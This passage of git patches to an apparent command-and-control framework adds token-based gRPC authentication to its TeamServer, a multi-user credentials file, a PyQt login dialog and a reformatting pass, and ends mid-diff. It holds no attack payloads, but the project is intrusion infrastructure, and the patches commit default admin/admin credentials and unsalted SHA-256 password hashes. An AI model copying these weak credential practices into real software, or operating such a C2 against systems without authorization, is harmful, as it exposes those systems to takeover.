"help"; grpc::Status TeamServer::GetHelp(grpc::ServerContext* context, const teamserverapi::Command* command, teamserverapi::CommandResponse* commandResponse) { - m_logger->trace("GetHelp"); + auto authStatus = ensureAuthenticated(context); + if (!authStatus.ok()) + return authStatus; + + m_logger->trace("GetHelp"); std::string input = command->cmd(); std::string beaconHash = command->beaconhash(); @@ -1285,7 +1490,11 @@ const std::string SocksInstruction_ = "socks"; grpc::Status TeamServer::SendTermCmd(grpc::ServerContext* context, const teamserverapi::TermCommand* command, teamserverapi::TermCommand* response) { - m_logger->trace("SendTermCmd"); + auto authStatus = ensureAuthenticated(context); + if (!authStatus.ok()) + return authStatus; + + m_logger->trace("SendTermCmd"); std::string cmd = command->cmd(); m_logger->debug("SendTermCmd {0}",cmd); diff --git a/teamServer/teamServer/TeamServer.hpp b/teamServer/teamServer/TeamServer.hpp index 133d088..8dd1499 100644 --- a/teamServer/teamServer/TeamServer.hpp +++ b/teamServer/teamServer/TeamServer.hpp @@ -1,4 +1,6 @@ #include +#include +#include #include "listener/ListenerTcp.hpp" #include "listener/ListenerHttp.hpp" @@ -26,13 +28,14 @@ #include "nlohmann/json.hpp" -class TeamServer final : public teamserverapi::TeamServerApi::Service +class TeamServer final : public teamserverapi::TeamServerApi::Service { public: - explicit TeamServer(const nlohmann::json& config); - ~TeamServer(); + explicit TeamServer(const nlohmann::json& config); + ~TeamServer(); + grpc::Status Authenticate(grpc::ServerContext* context, const teamserverapi::AuthRequest* request, teamserverapi::AuthResponse* response) override; grpc::Status GetListeners(grpc::ServerContext* context, const teamserverapi::Empty* empty, grpc::ServerWriter* writer); grpc::Status AddListener(grpc::ServerContext* context, const teamserverapi::Listener* listenerToCreate, teamserverapi::Response* response); grpc::Status StopListener(grpc::ServerContext* context, const teamserverapi::Listener* listenerToStop, teamserverapi::Response* response); @@ -53,6 +56,10 @@ protected: int prepMsg(const std::string& input, C2Message& c2Message, bool isWindows=true); private: + grpc::Status ensureAuthenticated(grpc::ServerContext* context); + std::string generateToken() const; + void cleanupExpiredTokens(); + nlohmann::json m_config; std::shared_ptr m_logger; @@ -87,4 +94,12 @@ private: std::unordered_map> m_sentResponses; std::vector m_sentC2Messages; + + std::string m_authCredentialsFile; + std::string m_expectedUsername; + std::string m_expectedPassword; + bool m_authEnabled; + std::unordered_map m_activeTokens; + std::chrono::minutes m_tokenValidityDuration; + mutable std::mutex m_authMutex; }; diff --git a/teamServer/teamServer/TeamServerConfig.json b/teamServer/teamServer/TeamServerConfig.json index a4649f5..d933c96 100644 --- a/teamServer/teamServer/TeamServerConfig.json +++ b/teamServer/teamServer/TeamServerConfig.json @@ -17,6 +17,7 @@ "ServCrtFile": "server.crt", "ServKeyFile": "server.key", "RootCA": "rootCA.crt", + "AuthCredentialsFile": "auth_credentials.json", "xorKey": "dfsdgferhzdzxczevre5595485sdg", "ListenerHttpConfig": { "uri": [ diff --git a/teamServer/teamServer/auth_credentials.json b/teamServer/teamServer/auth_credentials.json new file mode 100644 index 0000000..e26dc24 --- /dev/null +++ b/teamServer/teamServer/auth_credentials.json @@ -0,0 +1,5 @@ +{ + "username": "admin", + "password": "admin", + "token_ttl_minutes": 60 +} From a500ebe979fbedb9e83dc3ad8e8ac57aa7d149ee Mon Sep 17 00:00:00 2001 From: Maxime dcb <40819564+maxDcb@users.noreply.github.com> Date: Tue, 14 Oct 2025 15:11:25 +0200 Subject: [PATCH 07/11] Support hashed multi-user gRPC credentials --- teamServer/teamServer/TeamServer.cpp | 122 ++++++++++++++++++-- teamServer/teamServer/TeamServer.hpp | 5 +- teamServer/teamServer/auth_credentials.json | 14 ++- 3 files changed, 126 insertions(+), 15 deletions(-) diff --git a/teamServer/teamServer/TeamServer.cpp b/teamServer/teamServer/TeamServer.cpp index 493b84e..8628305 100644 --- a/teamServer/teamServer/TeamServer.cpp +++ b/teamServer/teamServer/TeamServer.cpp @@ -9,7 +9,10 @@ #include #include #include +#include +#include #include +#include using namespace std; using namespace std::placeholders; @@ -97,6 +100,25 @@ std::string TeamServer::generateToken() const } +std::string TeamServer::hashPassword(const std::string& password) const +{ + unsigned char hash[SHA256_DIGEST_LENGTH]; + SHA256_CTX ctx; + + SHA256_Init(&ctx); + SHA256_Update(&ctx, reinterpret_cast(password.data()), password.size()); + SHA256_Final(hash, &ctx); + + std::ostringstream oss; + for (size_t i = 0; i < SHA256_DIGEST_LENGTH; ++i) + { + oss << std::hex << std::setw(2) << std::setfill('0') << static_cast(hash[i]); + } + + return oss.str(); +} + + void TeamServer::cleanupExpiredTokens() { if (!m_authEnabled) @@ -168,8 +190,6 @@ TeamServer::TeamServer(const nlohmann::json& config) , m_isSocksServerRunning(false) , m_isSocksServerBinded(false) , m_authCredentialsFile("") -, m_expectedUsername("") -, m_expectedPassword("") , m_authEnabled(false) , m_tokenValidityDuration(std::chrono::minutes(60)) { @@ -222,22 +242,94 @@ TeamServer::TeamServer(const nlohmann::json& config) try { json authConfig = json::parse(authFile); - m_expectedUsername = authConfig.value("username", std::string()); - m_expectedPassword = authConfig.value("password", std::string()); int ttlMinutes = authConfig.value("token_ttl_minutes", static_cast(m_tokenValidityDuration.count())); if (ttlMinutes > 0) { m_tokenValidityDuration = std::chrono::minutes(ttlMinutes); } - if (!m_expectedUsername.empty() && !m_expectedPassword.empty()) + auto normalizeHash = [](std::string hash) { + std::transform(hash.begin(), hash.end(), hash.begin(), [](unsigned char c) { + return static_cast(std::tolower(c)); + }); + return hash; + }; + + m_userPasswordHashes.clear(); + + auto usersIt = authConfig.find("users"); + if (usersIt != authConfig.end()) { - m_authEnabled = true; - m_logger->info("Authentication enabled using credentials file: {0}", m_authCredentialsFile); + if (!usersIt->is_array()) + { + m_logger->error("Authentication credential file {0} has a 'users' entry that is not an array.", m_authCredentialsFile); + } + else + { + for (const auto& userEntry : *usersIt) + { + if (!userEntry.is_object()) + { + m_logger->warn("Skipping malformed user entry in {0}; expected an object.", m_authCredentialsFile); + continue; + } + + std::string username = userEntry.value("username", std::string()); + if (username.empty()) + { + m_logger->warn("Skipping user entry with missing username in {0}.", m_authCredentialsFile); + continue; + } + + std::string passwordHash = normalizeHash(userEntry.value("password_hash", std::string())); + if (passwordHash.empty()) + { + std::string plaintextPassword = userEntry.value("password", std::string()); + if (!plaintextPassword.empty()) + { + m_logger->warn("User '{0}' in credentials file provides a plaintext password; hashing at startup but please update the file to store 'password_hash'.", username); + passwordHash = hashPassword(plaintextPassword); + } + } + + if (passwordHash.empty()) + { + m_logger->warn("Skipping user '{0}' in {1} due to missing password hash.", username, m_authCredentialsFile); + continue; + } + + m_userPasswordHashes[username] = passwordHash; + } + } } else { - m_logger->error("Authentication credential file {0} is missing username or password entries.", m_authCredentialsFile); + std::string username = authConfig.value("username", std::string()); + std::string passwordHash = normalizeHash(authConfig.value("password_hash", std::string())); + if (passwordHash.empty()) + { + std::string plaintextPassword = authConfig.value("password", std::string()); + if (!plaintextPassword.empty()) + { + m_logger->warn("Legacy credentials format detected in {0}; hashing plaintext password but please migrate to 'users' array with hashed passwords.", m_authCredentialsFile); + passwordHash = hashPassword(plaintextPassword); + } + } + + if (!username.empty() && !passwordHash.empty()) + { + m_userPasswordHashes[username] = passwordHash; + } + } + + if (!m_userPasswordHashes.empty()) + { + m_authEnabled = true; + m_logger->info("Authentication enabled for {0} user(s) using credentials file: {1}", m_userPasswordHashes.size(), m_authCredentialsFile); + } + else + { + m_logger->error("Authentication credential file {0} does not contain any valid user credentials.", m_authCredentialsFile); } } catch (const std::exception& ex) @@ -385,11 +477,21 @@ grpc::Status TeamServer::Authenticate(grpc::ServerContext* context, const teamse const std::string& username = request->username(); const std::string& password = request->password(); - if (username != m_expectedUsername || password != m_expectedPassword) + auto userIt = m_userPasswordHashes.find(username); + if (userIt == m_userPasswordHashes.end()) { response->set_status(teamserverapi::KO); response->set_message("Invalid credentials"); - m_logger->warn("Authentication failed for user '{}'", username); + m_logger->warn("Authentication failed for unknown user '{}'", username); + return grpc::Status::OK; + } + + std::string providedHash = hashPassword(password); + if (providedHash != userIt->second) + { + response->set_status(teamserverapi::KO); + response->set_message("Invalid credentials"); + m_logger->warn("Authentication failed due to incorrect password for user '{}'", username); return grpc::Status::OK; } diff --git a/teamServer/teamServer/TeamServer.hpp b/teamServer/teamServer/TeamServer.hpp index 8dd1499..bf64f96 100644 --- a/teamServer/teamServer/TeamServer.hpp +++ b/teamServer/teamServer/TeamServer.hpp @@ -1,6 +1,7 @@ #include #include #include +#include #include "listener/ListenerTcp.hpp" #include "listener/ListenerHttp.hpp" @@ -58,6 +59,7 @@ protected: private: grpc::Status ensureAuthenticated(grpc::ServerContext* context); std::string generateToken() const; + std::string hashPassword(const std::string& password) const; void cleanupExpiredTokens(); nlohmann::json m_config; @@ -96,8 +98,7 @@ private: std::vector m_sentC2Messages; std::string m_authCredentialsFile; - std::string m_expectedUsername; - std::string m_expectedPassword; + std::unordered_map m_userPasswordHashes; bool m_authEnabled; std::unordered_map m_activeTokens; std::chrono::minutes m_tokenValidityDuration; diff --git a/teamServer/teamServer/auth_credentials.json b/teamServer/teamServer/auth_credentials.json index e26dc24..ee4eedd 100644 --- a/teamServer/teamServer/auth_credentials.json +++ b/teamServer/teamServer/auth_credentials.json @@ -1,5 +1,13 @@ { - "username": "admin", - "password": "admin", - "token_ttl_minutes": 60 + "token_ttl_minutes": 60, + "users": [ + { + "username": "admin", + "password_hash": "8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918" + }, + { + "username": "analyst", + "password_hash": "f44ceb062e35dfeea6ed7f8524d53bb0bff19f553e25cae7ef4850e4185ccbba" + } + ] } From 673ceaff4c983fd01cd5993241d7732ef47ca630 Mon Sep 17 00:00:00 2001 From: Maxime dcb <40819564+maxDcb@users.noreply.github.com> Date: Tue, 14 Oct 2025 15:23:07 +0200 Subject: [PATCH 08/11] Add GUI credential dialog fallback for gRPC client --- C2Client/C2Client/GUI.py | 83 +++++++++++++++++++++++++++++++-- C2Client/C2Client/grpcClient.py | 17 ++++++- 2 files changed, 94 insertions(+), 6 deletions(-) diff --git a/C2Client/C2Client/GUI.py b/C2Client/C2Client/GUI.py index 64e9b5b..9a274d5 100644 --- a/C2Client/C2Client/GUI.py +++ b/C2Client/C2Client/GUI.py @@ -1,16 +1,22 @@ import argparse import logging +import os import signal import sys -from typing import Optional +from typing import Optional, Tuple from PyQt6.QtWidgets import ( QApplication, + QDialog, + QDialogButtonBox, QGridLayout, QHBoxLayout, + QLabel, + QLineEdit, QMainWindow, QPushButton, QTabWidget, + QVBoxLayout, QWidget, ) @@ -27,18 +33,75 @@ logging.basicConfig(level=logging.DEBUG, format='%(asctime)s - %(levelname)s - % signal.signal(signal.SIGINT, signal.SIG_DFL) +class CredentialDialog(QDialog): + """Prompt for credentials when environment variables are absent.""" + + def __init__(self, parent: Optional[QWidget] = None, default_username: str = "") -> None: + super().__init__(parent) + self.setWindowTitle("Authentication Required") + self.setModal(True) + + layout = QVBoxLayout(self) + description = QLabel("Enter the credentials to connect to the TeamServer.") + description.setWordWrap(True) + layout.addWidget(description) + + self.username_input = QLineEdit(self) + self.username_input.setPlaceholderText("Username") + if default_username: + self.username_input.setText(default_username) + layout.addWidget(self.username_input) + + self.password_input = QLineEdit(self) + self.password_input.setPlaceholderText("Password") + self.password_input.setEchoMode(QLineEdit.EchoMode.Password) + layout.addWidget(self.password_input) + + self.error_label = QLabel("Username and password are required.") + self.error_label.setStyleSheet("color: red;") + self.error_label.setVisible(False) + layout.addWidget(self.error_label) + + buttons = QDialogButtonBox(QDialogButtonBox.StandardButton.Ok | QDialogButtonBox.StandardButton.Cancel) + buttons.accepted.connect(self._handle_accept) + buttons.rejected.connect(self.reject) + layout.addWidget(buttons) + + def _handle_accept(self) -> None: + username = self.username_input.text().strip() + password = self.password_input.text() + if not username or not password: + self.error_label.setVisible(True) + return + self.accept() + + def credentials(self) -> Tuple[str, str]: + return self.username_input.text().strip(), self.password_input.text() + + class App(QMainWindow): """Main application window for the C2 client.""" - def __init__(self, ip: str, port: int, devMode: bool) -> None: + def __init__(self, ip: str, port: int, devMode: bool, credentials: Optional[Tuple[str, str]] = None) -> None: super().__init__() self.ip = ip self.port = port self.devMode = devMode + username: Optional[str] = None + password: Optional[str] = None + if credentials: + username, password = credentials + try: - self.grpcClient = GrpcClient(self.ip, self.port, self.devMode) + self.grpcClient = GrpcClient( + self.ip, + self.port, + self.devMode, + username=username, + password=password, + ) except ValueError as e: raise e @@ -136,8 +199,20 @@ def main() -> None: app = QApplication(sys.argv) app.setStyleSheet(qdarktheme.load_stylesheet()) + username = os.getenv("C2_USERNAME") + password = os.getenv("C2_PASSWORD") + + credentials: Optional[Tuple[str, str]] = None + if username and password: + credentials = (username, password) + else: + dialog = CredentialDialog(default_username=username or "") + if dialog.exec() != QDialog.DialogCode.Accepted: + sys.exit(1) + credentials = dialog.credentials() + try: - window = App(args.ip, args.port, args.dev) + window = App(args.ip, args.port, args.dev, credentials) window.show() sys.exit(app.exec()) except ValueError: diff --git a/C2Client/C2Client/grpcClient.py b/C2Client/C2Client/grpcClient.py index bed5e15..c937f23 100644 --- a/C2Client/C2Client/grpcClient.py +++ b/C2Client/C2Client/grpcClient.py @@ -34,9 +34,21 @@ class GrpcClient: If ``True`` the SSL hostname check is disabled. token: Bearer token used for authentication metadata. + username: + Username to authenticate with. If omitted, environment variables are used. + password: + Password to authenticate with. If omitted, environment variables are used. """ - def __init__(self, ip: str, port: int, devMode: bool, token: Optional[str] = None) -> None: + def __init__( + self, + ip: str, + port: int, + devMode: bool, + token: Optional[str] = None, + username: Optional[str] = None, + password: Optional[str] = None, + ) -> None: env_cert_path = os.getenv('C2_CERT_PATH') if env_cert_path and os.path.isfile(env_cert_path): @@ -93,7 +105,8 @@ class GrpcClient: self.stub = TeamServerApi_pb2_grpc.TeamServerApiStub(self.channel) if token is None: - username, password = self._load_credentials_from_env() + if username is None or password is None: + username, password = self._load_credentials_from_env() token = self._authenticate(username, password) self.metadata: MetadataType = [ From 023834091e4786d5f8a9e8acbeeb24f44029e54e Mon Sep 17 00:00:00 2001 From: kali Date: Tue, 14 Oct 2025 09:26:08 -0400 Subject: [PATCH 09/11] Login --- C2Client/C2Client/GUI.py | 4 ++-- .../build/py/TeamServerApi_pb2.py | 8 ++++---- .../build/py/TeamServerApi_pb2_grpc.py | 20 ------------------- 3 files changed, 6 insertions(+), 26 deletions(-) diff --git a/C2Client/C2Client/GUI.py b/C2Client/C2Client/GUI.py index 9a274d5..1b1e702 100644 --- a/C2Client/C2Client/GUI.py +++ b/C2Client/C2Client/GUI.py @@ -38,11 +38,11 @@ class CredentialDialog(QDialog): def __init__(self, parent: Optional[QWidget] = None, default_username: str = "") -> None: super().__init__(parent) - self.setWindowTitle("Authentication Required") + self.setWindowTitle("Login") self.setModal(True) layout = QVBoxLayout(self) - description = QLabel("Enter the credentials to connect to the TeamServer.") + description = QLabel("Login:") description.setWordWrap(True) layout.addWidget(description) diff --git a/C2Client/C2Client/libGrpcMessages/build/py/TeamServerApi_pb2.py b/C2Client/C2Client/libGrpcMessages/build/py/TeamServerApi_pb2.py index 449d77c..457f8cb 100644 --- a/C2Client/C2Client/libGrpcMessages/build/py/TeamServerApi_pb2.py +++ b/C2Client/C2Client/libGrpcMessages/build/py/TeamServerApi_pb2.py @@ -2,7 +2,7 @@ # Generated by the protocol buffer compiler. DO NOT EDIT! # NO CHECKED-IN PROTOBUF GENCODE # source: TeamServerApi.proto -# Protobuf Python Version: 6.31.1 +# Protobuf Python Version: 5.27.0 """Generated protocol buffer code.""" from google.protobuf import descriptor as _descriptor from google.protobuf import descriptor_pool as _descriptor_pool @@ -11,9 +11,9 @@ from google.protobuf import symbol_database as _symbol_database from google.protobuf.internal import builder as _builder _runtime_version.ValidateProtobufRuntimeVersion( _runtime_version.Domain.PUBLIC, - 6, - 31, - 1, + 5, + 27, + 0, '', 'TeamServerApi.proto' ) diff --git a/C2Client/C2Client/libGrpcMessages/build/py/TeamServerApi_pb2_grpc.py b/C2Client/C2Client/libGrpcMessages/build/py/TeamServerApi_pb2_grpc.py index e9ab117..6555949 100644 --- a/C2Client/C2Client/libGrpcMessages/build/py/TeamServerApi_pb2_grpc.py +++ b/C2Client/C2Client/libGrpcMessages/build/py/TeamServerApi_pb2_grpc.py @@ -1,29 +1,9 @@ # Generated by the gRPC Python protocol compiler plugin. DO NOT EDIT! """Client and server classes corresponding to protobuf-defined services.""" import grpc -import warnings import TeamServerApi_pb2 as TeamServerApi__pb2 -GRPC_GENERATED_VERSION = '1.75.1' -GRPC_VERSION = grpc.__version__ -_version_not_supported = False - -try: - from grpc._utilities import first_version_is_lower - _version_not_supported = first_version_is_lower(GRPC_VERSION, GRPC_GENERATED_VERSION) -except ImportError: - _version_not_supported = True - -if _version_not_supported: - raise RuntimeError( - f'The grpc package installed is at version {GRPC_VERSION},' - + f' but the generated code in TeamServerApi_pb2_grpc.py depends on' - + f' grpcio>={GRPC_GENERATED_VERSION}.' - + f' Please upgrade your grpc module to grpcio>={GRPC_GENERATED_VERSION}' - + f' or downgrade your generated code using grpcio-tools<={GRPC_VERSION}.' - ) - class TeamServerApiStub(object): """Interface exported by the server. From 0b3fb1f090ff3fa393152c57710eb521a7358fdc Mon Sep 17 00:00:00 2001 From: Maxime dcb <40819564+maxDcb@users.noreply.github.com> Date: Tue, 14 Oct 2025 15:42:50 +0200 Subject: [PATCH 10/11] Use four-space indentation in TeamServer files --- teamServer/teamServer/TeamServer.cpp | 4138 +++++++++++++------------- teamServer/teamServer/TeamServer.hpp | 25 +- 2 files changed, 2065 insertions(+), 2098 deletions(-) diff --git a/teamServer/teamServer/TeamServer.cpp b/teamServer/teamServer/TeamServer.cpp index 8628305..39d915b 100644 --- a/teamServer/teamServer/TeamServer.cpp +++ b/teamServer/teamServer/TeamServer.cpp @@ -20,52 +20,49 @@ namespace fs = std::filesystem; using json = nlohmann::json; - typedef ModuleCmd* (*constructProc)(); - namespace { spdlog::level::level_enum parseLogLevel(std::string level, bool& isUnknown) { - isUnknown = false; + isUnknown = false; - std::transform(level.begin(), level.end(), level.begin(), - [](unsigned char c) { return static_cast(std::tolower(c)); }); + std::transform(level.begin(), level.end(), level.begin(), + [](unsigned char c) + { return static_cast(std::tolower(c)); }); - static const std::unordered_map levelMap = + static const std::unordered_map levelMap = { - {"trace", spdlog::level::trace}, - {"debug", spdlog::level::debug}, - {"info", spdlog::level::info}, - {"warn", spdlog::level::warn}, - {"warning", spdlog::level::warn}, - {"err", spdlog::level::err}, - {"error", spdlog::level::err}, - {"critical", spdlog::level::critical}, - {"off", spdlog::level::off} - }; + {"trace", spdlog::level::trace}, + {"debug", spdlog::level::debug}, + {"info", spdlog::level::info}, + {"warn", spdlog::level::warn}, + {"warning", spdlog::level::warn}, + {"err", spdlog::level::err}, + {"error", spdlog::level::err}, + {"critical", spdlog::level::critical}, + {"off", spdlog::level::off}}; - auto it = levelMap.find(level); - if (it != levelMap.end()) - return it->second; + auto it = levelMap.find(level); + if (it != levelMap.end()) + return it->second; - isUnknown = true; - return spdlog::level::info; -} + isUnknown = true; + return spdlog::level::info; } +} // namespace - -inline bool port_in_use(unsigned short port) +inline bool port_in_use(unsigned short port) { - return 0; + return 0; } - static std::string computeBufferMd5(const std::string& buffer) { - if (buffer.empty()) return ""; + if (buffer.empty()) + return ""; unsigned char result[MD5_DIGEST_LENGTH]; MD5_CTX ctx; @@ -80,670 +77,660 @@ static std::string computeBufferMd5(const std::string& buffer) return oss.str(); } - std::string TeamServer::generateToken() const { - static constexpr char charset[] = - "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; + static constexpr char charset[] = + "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; - std::random_device rd; - std::mt19937 generator(rd()); - std::uniform_int_distribution distribution(0, sizeof(charset) - 2); + std::random_device rd; + std::mt19937 generator(rd()); + std::uniform_int_distribution distribution(0, sizeof(charset) - 2); - std::string token(64, '\0'); - for (auto& ch : token) - { - ch = charset[distribution(generator)]; - } + std::string token(64, '\0'); + for (auto& ch : token) + { + ch = charset[distribution(generator)]; + } - return token; + return token; } - std::string TeamServer::hashPassword(const std::string& password) const { - unsigned char hash[SHA256_DIGEST_LENGTH]; - SHA256_CTX ctx; + unsigned char hash[SHA256_DIGEST_LENGTH]; + SHA256_CTX ctx; - SHA256_Init(&ctx); - SHA256_Update(&ctx, reinterpret_cast(password.data()), password.size()); - SHA256_Final(hash, &ctx); + SHA256_Init(&ctx); + SHA256_Update(&ctx, reinterpret_cast(password.data()), password.size()); + SHA256_Final(hash, &ctx); - std::ostringstream oss; - for (size_t i = 0; i < SHA256_DIGEST_LENGTH; ++i) - { - oss << std::hex << std::setw(2) << std::setfill('0') << static_cast(hash[i]); - } + std::ostringstream oss; + for (size_t i = 0; i < SHA256_DIGEST_LENGTH; ++i) + { + oss << std::hex << std::setw(2) << std::setfill('0') << static_cast(hash[i]); + } - return oss.str(); + return oss.str(); } - void TeamServer::cleanupExpiredTokens() { - if (!m_authEnabled) - return; + if (!m_authEnabled) + return; - const auto now = std::chrono::steady_clock::now(); - std::lock_guard lock(m_authMutex); - for (auto it = m_activeTokens.begin(); it != m_activeTokens.end();) + const auto now = std::chrono::steady_clock::now(); + std::lock_guard lock(m_authMutex); + for (auto it = m_activeTokens.begin(); it != m_activeTokens.end();) + { + if (now >= it->second) { - if (now >= it->second) - { - it = m_activeTokens.erase(it); - } - else - { - ++it; - } + it = m_activeTokens.erase(it); } + else + { + ++it; + } + } } - grpc::Status TeamServer::ensureAuthenticated(grpc::ServerContext* context) { - if (!m_authEnabled) - return grpc::Status::OK; - - const auto& metadata = context->client_metadata(); - auto metadataIt = metadata.find("authorization"); - if (metadataIt == metadata.end()) - { - m_logger->warn("gRPC request rejected: missing authorization metadata"); - return grpc::Status(grpc::StatusCode::UNAUTHENTICATED, "Missing authorization metadata"); - } - - std::string authHeader(metadataIt->second.data(), metadataIt->second.length()); - static const std::string prefix = "Bearer "; - if (authHeader.rfind(prefix, 0) != 0) - { - m_logger->warn("gRPC request rejected: malformed authorization header"); - return grpc::Status(grpc::StatusCode::UNAUTHENTICATED, "Malformed authorization header"); - } - - std::string token = authHeader.substr(prefix.size()); - - std::lock_guard lock(m_authMutex); - auto now = std::chrono::steady_clock::now(); - auto tokenIt = m_activeTokens.find(token); - if (tokenIt == m_activeTokens.end()) - { - m_logger->warn("gRPC request rejected: invalid token presented"); - return grpc::Status(grpc::StatusCode::UNAUTHENTICATED, "Invalid token"); - } - - if (now >= tokenIt->second) - { - m_logger->warn("gRPC request rejected: expired token presented"); - m_activeTokens.erase(tokenIt); - return grpc::Status(grpc::StatusCode::UNAUTHENTICATED, "Token expired"); - } - - tokenIt->second = now + m_tokenValidityDuration; - + if (!m_authEnabled) return grpc::Status::OK; + + const auto& metadata = context->client_metadata(); + auto metadataIt = metadata.find("authorization"); + if (metadataIt == metadata.end()) + { + m_logger->warn("gRPC request rejected: missing authorization metadata"); + return grpc::Status(grpc::StatusCode::UNAUTHENTICATED, "Missing authorization metadata"); + } + + std::string authHeader(metadataIt->second.data(), metadataIt->second.length()); + static const std::string prefix = "Bearer "; + if (authHeader.rfind(prefix, 0) != 0) + { + m_logger->warn("gRPC request rejected: malformed authorization header"); + return grpc::Status(grpc::StatusCode::UNAUTHENTICATED, "Malformed authorization header"); + } + + std::string token = authHeader.substr(prefix.size()); + + std::lock_guard lock(m_authMutex); + auto now = std::chrono::steady_clock::now(); + auto tokenIt = m_activeTokens.find(token); + if (tokenIt == m_activeTokens.end()) + { + m_logger->warn("gRPC request rejected: invalid token presented"); + return grpc::Status(grpc::StatusCode::UNAUTHENTICATED, "Invalid token"); + } + + if (now >= tokenIt->second) + { + m_logger->warn("gRPC request rejected: expired token presented"); + m_activeTokens.erase(tokenIt); + return grpc::Status(grpc::StatusCode::UNAUTHENTICATED, "Token expired"); + } + + tokenIt->second = now + m_tokenValidityDuration; + + return grpc::Status::OK; } - TeamServer::TeamServer(const nlohmann::json& config) -: m_config(config) -, m_isSocksServerRunning(false) -, m_isSocksServerBinded(false) -, m_authCredentialsFile("") -, m_authEnabled(false) -, m_tokenValidityDuration(std::chrono::minutes(60)) + : m_config(config), m_isSocksServerRunning(false), m_isSocksServerBinded(false), m_authCredentialsFile(""), m_authEnabled(false), m_tokenValidityDuration(std::chrono::minutes(60)) { - // Logger - std::vector sinks; + // Logger + std::vector sinks; - auto console_sink = std::make_shared(); - sinks.push_back(console_sink); + auto console_sink = std::make_shared(); + sinks.push_back(console_sink); - auto file_sink = std::make_shared("logs/TeamServer.txt", 1024*1024*10, 3); - sinks.push_back(file_sink); + auto file_sink = std::make_shared("logs/TeamServer.txt", 1024 * 1024 * 10, 3); + sinks.push_back(file_sink); - std::string logLevel = "info"; - auto logLevelIt = config.find("LogLevel"); - if (logLevelIt != config.end() && logLevelIt->is_string()) - logLevel = logLevelIt->get(); + std::string logLevel = "info"; + auto logLevelIt = config.find("LogLevel"); + if (logLevelIt != config.end() && logLevelIt->is_string()) + logLevel = logLevelIt->get(); - bool isUnknownLogLevel = false; - spdlog::level::level_enum configuredLevel = parseLogLevel(logLevel, isUnknownLogLevel); + bool isUnknownLogLevel = false; + spdlog::level::level_enum configuredLevel = parseLogLevel(logLevel, isUnknownLogLevel); - console_sink->set_level(configuredLevel); - file_sink->set_level(configuredLevel); + console_sink->set_level(configuredLevel); + file_sink->set_level(configuredLevel); m_logger = std::make_shared("TeamServer", begin(sinks), end(sinks)); - m_logger->set_level(configuredLevel); - m_logger->flush_on(spdlog::level::warn); + m_logger->set_level(configuredLevel); + m_logger->flush_on(spdlog::level::warn); - if (isUnknownLogLevel) - m_logger->warn("Unknown log level '{}' requested, defaulting to 'info'.", logLevel); + if (isUnknownLogLevel) + m_logger->warn("Unknown log level '{}' requested, defaulting to 'info'.", logLevel); - m_logger->debug("TeamServer logging initialized at {} level", spdlog::level::to_string_view(m_logger->level())); + m_logger->debug("TeamServer logging initialized at {} level", spdlog::level::to_string_view(m_logger->level())); - // Config directory - m_teamServerModulesDirectoryPath = config["TeamServerModulesDirectoryPath"].get(); - m_linuxModulesDirectoryPath = config["LinuxModulesDirectoryPath"].get(); - m_windowsModulesDirectoryPath = config["WindowsModulesDirectoryPath"].get(); - m_linuxBeaconsDirectoryPath = config["LinuxBeaconsDirectoryPath"].get(); - m_windowsBeaconsDirectoryPath = config["WindowsBeaconsDirectoryPath"].get(); - m_toolsDirectoryPath = config["ToolsDirectoryPath"].get(); - m_scriptsDirectoryPath = config["ScriptsDirectoryPath"].get(); + // Config directory + m_teamServerModulesDirectoryPath = config["TeamServerModulesDirectoryPath"].get(); + m_linuxModulesDirectoryPath = config["LinuxModulesDirectoryPath"].get(); + m_windowsModulesDirectoryPath = config["WindowsModulesDirectoryPath"].get(); + m_linuxBeaconsDirectoryPath = config["LinuxBeaconsDirectoryPath"].get(); + m_windowsBeaconsDirectoryPath = config["WindowsBeaconsDirectoryPath"].get(); + m_toolsDirectoryPath = config["ToolsDirectoryPath"].get(); + m_scriptsDirectoryPath = config["ScriptsDirectoryPath"].get(); - auto authFileIt = config.find("AuthCredentialsFile"); - if (authFileIt != config.end() && authFileIt->is_string()) + auto authFileIt = config.find("AuthCredentialsFile"); + if (authFileIt != config.end() && authFileIt->is_string()) + { + m_authCredentialsFile = authFileIt->get(); + std::ifstream authFile(m_authCredentialsFile); + if (authFile.good()) { - m_authCredentialsFile = authFileIt->get(); - std::ifstream authFile(m_authCredentialsFile); - if (authFile.good()) + try + { + json authConfig = json::parse(authFile); + int ttlMinutes = authConfig.value("token_ttl_minutes", static_cast(m_tokenValidityDuration.count())); + if (ttlMinutes > 0) { - try + m_tokenValidityDuration = std::chrono::minutes(ttlMinutes); + } + + auto normalizeHash = [](std::string hash) + { + std::transform(hash.begin(), hash.end(), hash.begin(), [](unsigned char c) + { return static_cast(std::tolower(c)); }); + return hash; + }; + + m_userPasswordHashes.clear(); + + auto usersIt = authConfig.find("users"); + if (usersIt != authConfig.end()) + { + if (!usersIt->is_array()) + { + m_logger->error("Authentication credential file {0} has a 'users' entry that is not an array.", m_authCredentialsFile); + } + else + { + for (const auto& userEntry : *usersIt) { - json authConfig = json::parse(authFile); - int ttlMinutes = authConfig.value("token_ttl_minutes", static_cast(m_tokenValidityDuration.count())); - if (ttlMinutes > 0) + if (!userEntry.is_object()) + { + m_logger->warn("Skipping malformed user entry in {0}; expected an object.", m_authCredentialsFile); + continue; + } + + std::string username = userEntry.value("username", std::string()); + if (username.empty()) + { + m_logger->warn("Skipping user entry with missing username in {0}.", m_authCredentialsFile); + continue; + } + + std::string passwordHash = normalizeHash(userEntry.value("password_hash", std::string())); + if (passwordHash.empty()) + { + std::string plaintextPassword = userEntry.value("password", std::string()); + if (!plaintextPassword.empty()) { - m_tokenValidityDuration = std::chrono::minutes(ttlMinutes); + m_logger->warn("User '{0}' in credentials file provides a plaintext password; hashing at startup but please update the file to store 'password_hash'.", username); + passwordHash = hashPassword(plaintextPassword); } + } - auto normalizeHash = [](std::string hash) { - std::transform(hash.begin(), hash.end(), hash.begin(), [](unsigned char c) { - return static_cast(std::tolower(c)); - }); - return hash; - }; + if (passwordHash.empty()) + { + m_logger->warn("Skipping user '{0}' in {1} due to missing password hash.", username, m_authCredentialsFile); + continue; + } - m_userPasswordHashes.clear(); - - auto usersIt = authConfig.find("users"); - if (usersIt != authConfig.end()) - { - if (!usersIt->is_array()) - { - m_logger->error("Authentication credential file {0} has a 'users' entry that is not an array.", m_authCredentialsFile); - } - else - { - for (const auto& userEntry : *usersIt) - { - if 